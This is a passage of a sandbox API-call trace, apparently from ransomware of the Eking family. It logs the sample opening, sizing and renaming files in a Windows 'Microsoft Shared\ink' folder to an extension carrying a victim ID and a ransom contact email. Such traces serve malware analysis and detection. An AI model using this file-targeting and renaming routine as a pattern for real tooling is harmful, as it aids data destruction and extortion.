Shared\\ink\\hwruksh.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0 [0268.659] SetEvent (hEvent=0xe0) returned 1 [0268.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.660] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3195696) returned 1 [0268.660] CloseHandle (hObject=0x100) returned 1 [0268.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0268.661] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0268.661] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0268.662] SetEvent (hEvent=0xe0) returned 1 [0268.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.663] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4120784) returned 1 [0268.663] CloseHandle (hObject=0x100) returned 1 [0268.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0268.664] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0268.664] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0268.664] SetEvent (hEvent=0xe0) returned 1 [0268.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.665] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=353280) returned 1 [0268.665] CloseHandle (hObject=0x100) returned 1 [0268.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0268.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0268.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.666] SetEvent (hEvent=0xe0) returned 1 [0268.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.667] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2103296) returned 1 [0268.667] CloseHandle (hObject=0x100) returned 1 [0268.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0268.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0268.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0268.667] SetEvent (hEvent=0xe0) returned 1 [0268.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.668] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=397312) returned 1 [0268.668] CloseHandle (hObject=0x100) returned 1 [0268.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0268.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0268.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.669] SetEvent (hEvent=0xe0) returned 1 [0268.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.670] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=383488) returned 1 [0268.670] CloseHandle (hObject=0x100) returned 1 [0268.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0268.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0268.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.671] SetEvent (hEvent=0xe0) returned 1 [0268.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.672] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2592) returned 1 [0268.672] CloseHandle (hObject=0x100) returned 1 [0268.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0268.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0268.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.672] SetEvent (hEvent=0xe0) returned 1 [0268.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.673] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2462) returned 1 [0268.674] CloseHandle (hObject=0x100) returned 1 [0268.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0268.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0268.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.688] SetEvent (hEvent=0xe0) returned 1 [0268.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.690] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2436) returned 1 [0268.690] CloseHandle (hObject=0x100) returned 1 [0268.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0268.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0268.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.690] SetEvent (hEvent=0xe0) returned 1 [0268.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.691] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2556) returned 1 [0268.691] CloseHandle (hObject=0x100) returned 1 [0268.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0268.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0268.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.691] SetEvent (hEvent=0xe0) returned 1 [0268.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.698] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2514) returned 1 [0268.698] CloseHandle (hObject=0x100) returned 1 [0268.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0268.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0268.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.699] SetEvent (hEvent=0xe0) returned 1 [0268.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.699] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2616) returned 1 [0268.700] CloseHandle (hObject=0x100) returned 1 [0268.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0268.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0268.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.700] SetEvent (hEvent=0xe0) returned 1 [0268.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.701] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2578) returned 1 [0268.702] CloseHandle (hObject=0x100) returned 1 [0268.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0268.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0268.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.702] SetEvent (hEvent=0xe0) returned 1 [0268.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.704] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3024) returned 1 [0268.704] CloseHandle (hObject=0x100) returned 1 [0268.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0268.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0268.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.704] SetEvent (hEvent=0xe0) returned 1 [0268.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.706] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2048) returned 1 [0268.706] CloseHandle (hObject=0x100) returned 1 [0268.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0268.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0268.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.706] SetEvent (hEvent=0xe0) returned 1 [0268.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.707] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2658) returned 1 [0268.707] CloseHandle (hObject=0x100) returned 1 [0268.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0268.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0268.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 